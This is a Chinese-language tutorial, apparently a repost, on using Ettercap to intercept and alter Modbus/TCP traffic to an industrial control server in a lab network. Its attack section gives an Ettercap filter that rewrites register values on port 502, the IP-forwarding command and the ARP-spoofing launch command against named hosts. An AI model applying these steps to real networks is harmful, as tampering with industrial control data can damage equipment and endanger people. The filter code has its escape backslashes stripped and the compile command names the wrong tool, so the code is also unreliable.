实验环境:
- 中间人环境:
- OS:linux Kali 4.14.0-kali3-amd64 #1 SMP Debian 4.14.12-2kali1(2018-01-08)x86_64 GUN/Linux
- 被劫持机器:
- OS:Windows 7 SP1 x64
- IP:172.16.125.129(使用的虚拟机,与宿主机采用共享方式网络)
- 数据服务器:
- OS:Windows 10 x64
- IP:192.168.1.117
0x00 前言
中间人攻击(Man-in-the-Middle Attack, MITM)是一种由来已久的网络入侵手段,并且在今天仍然有着广泛的发展空间,如SMB会话劫持、DNS欺骗等攻击都是典型的MITM攻击。简而言之,所谓的MITM攻击就是通过拦截正常的网络通信数据,并进行数据篡改和嗅探,而通信的双方却毫不知情。
随着计算机通信网技术的不断发展,MITM攻击也越来越多样化。最初,攻击者只要将网卡设为混杂模式,伪装成代理服务器监听特定的流量就可以实现攻击,这是因为很多通信协议都是以明文来进行传输的,如HTTP、FTP、Telnet等。后来,随着交换机代替集线器,简单的嗅探攻击已经不能成功,必须先进行ARP欺骗才行。如今,越来越多的服务商(网上银行,邮箱登陆)开始采用加密通信,SSL(Secure Sockets Layer 安全套接层)是一种广泛使用的技术,HTTPS、FTPS等都是建立在其基础上的。
0x01 攻击方式
中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)中间人攻击很早就成为了黑客常用的一种古老的攻击手段,并且一直到今天还具有极大的扩展空间。
在网络安全方面,MITM攻击的使用是很广泛的,曾经猖獗一时的SMB会话劫持、DNS欺骗等技术都是典型的MITM攻击手段。在黑客技术越来越多的运用于以获取经济利益为目标的情况下时,MITM攻击成为对网银、网游、网上交易等最有威胁并且最具破坏性的一种攻击方式。
0x02 Ettercap 简介
Ettercap在中间人攻击的一套完整的。它的特点是嗅探实时连接、即时过滤内容和其他有趣的技巧。它支持主动和被动解剖许多协议,包括网络和主机分析的许多特点。
Ettercap 帮助
用法:Ettercap [OPTIONS] [TARGET1] [TARGET2]
TARGET 可以是 MAC/IP/IPV6/PORTs的任意一个(详情看下面介绍)
- 抓包和攻击设置:
-M,–mitm<METHOD:ARGS> 执行一个中间人攻击
-o,–only-mitm 不进行抓包嗅探,只进行中间人攻击
-b,–broadcast 抓取网络广播包
-B,–bridge<IFACE> 使用网络桥接进行嗅探
-P,–nopromisc 不实用网络promisc模式
-S,–nosslmitm 不伪造SSL证书
-u,–unoffensive 不转发数据包
-r,–read<file> 从pcap文件读取数据
-f,–pcapfilter<string> 设置pcap过滤器<string>
-R,–reversed 使用反向目标匹配
-t,–proto<proto> 嗅探指定协议(默认所有协议)
–certificate<file> 使用SSL中间人证书
–private-key<file> 使用SSL私有key
- 用户界面类型:
-T,–text 图形界面使用text模式
-q,–quiet 不显示数据包内容
-s,–script<CMD> 向图形界面发送CMD命令
-C,–curses 使用curses图形界面
-D,–daemon 使用Daemon模式
-G,–gtk 使用GTK+图形界面
- 日志设置:
-w,–write<file> 嗅探到的数据写入pcap文件
-L,–log<file> 把所有流量记录到这个文件
-l,–log-info<file> 仅记录被动信息到这个文件
-m,–log-msg<file> 把所有消息记录到这个文件
-c,–compress 使用gzip压缩日志文件
- 可视化设置:
-d,–dns 将IP转换域名
-V,–visual<format> 设置可视化格式
-e,–regex<regex> 可视化数据包匹配正则表达式
-E,–ext-headers 显示每个PCK的扩展头
-Q,–superquiet 不显示用户及密码
- Lua 设置:
–lua-script<script1>,[<script2>,……] 以逗号分隔的lua脚本列表
–lua-args n1=v1,[n2=v2,……] 以逗号分隔的lua参数
- 一般设置:
-i,–iface<iface> 使用个这个物理网卡
-I,–liface 显示所有的物理网卡
-Y,–secondary<ifaces> 次要物理网卡
-n,–netmask<netmask> 设置子网掩码
-A,–address<address> 设置IP地址
-P,–plugin<plugin> 启动插件
-F,–filter<file> 加载过滤器
-z,–silent 不执行初始ARP扫描
-6,–ip6scan 发送IPv6的ICMP包,嗅探IPv6设备
-j,–load-host<file> 从文件加载host列表
-k,–save-host<file> 保存host列表到文件
-W,–wifi-key<key> 使用密码解密WIFI数据包
-a,–config<config> 选择配置文件
- 标准设置:
-v,–version 显示版本并退出
-h,–help 显示帮助
0x03 Ettercap 过滤器文件
每个过滤器编写需要根据测试环境的不同,修改具体细节。本例的过滤器为替换03功能码,采集1-100个寄存器的时候,第一个寄存器的内容修改。详细代码如下:
if(ip.proto == TCP && tcp.dst == 502)
{
msg(“Got dst 502 port data !!!n”);
if (search(DATA.data, “x03xc8”))
{
replace(“xc8x00x00”, “xc8x12x34”);
msg(“replace done!!”);
}
}
if (ip.proto == TCP && tcp.src == 502)
{
msg(“Got src 502 port data !!!n”);
if (search(DATA.data, “x03xc8”))
{
replace(“xc8x00x00”, “xc8x12x34”);
msg(“replace done!!!”);
}
}
过滤器的代码很简单,稍微有点编程能力的人,都可以看懂。我此代码保存成ettercapfilter.py 。实际上Ettercap 所认可的过滤器文件格式为ef格式,所以下一步将上面写完的编辑器文件转成ef格式,命令如下:
#ettercap ettercapfilter.py –o ettercapfilter.ef
生成好的ef文件就可以使用了。
0x04 攻击过程
- 首先我们看Modbus Server端的情况
此时,在40001地址里并没有任何数据。
- 接下来我们使用ModScan32 去采集Modbus Server的数据,如下图所示:
- 启动 Ettercap 中间人攻击
启动命令:
1、先设置系统转发
#echo 1 > /proc/sys/net/ipv4/ip_forward
2、启动中间人攻击(ettercap -i 本机网卡 -Tq -M arp:remote /“目标IP地址”// /“网关”// -F XXX.ef)
#ettercap -i eth0 -Tq -M arp:remote /172.16.125.129// /172.16.125.2// -F ettercapfilter.ef
只要正常启动就可以查看攻击结果了。
- 查看攻击结果
通过 ETTERCAP 中间人插件实现对工业控制协议的劫持与篡改
本文来源于互联网:通过 ETTERCAP 中间人插件实现对工业控制协议的劫持与篡改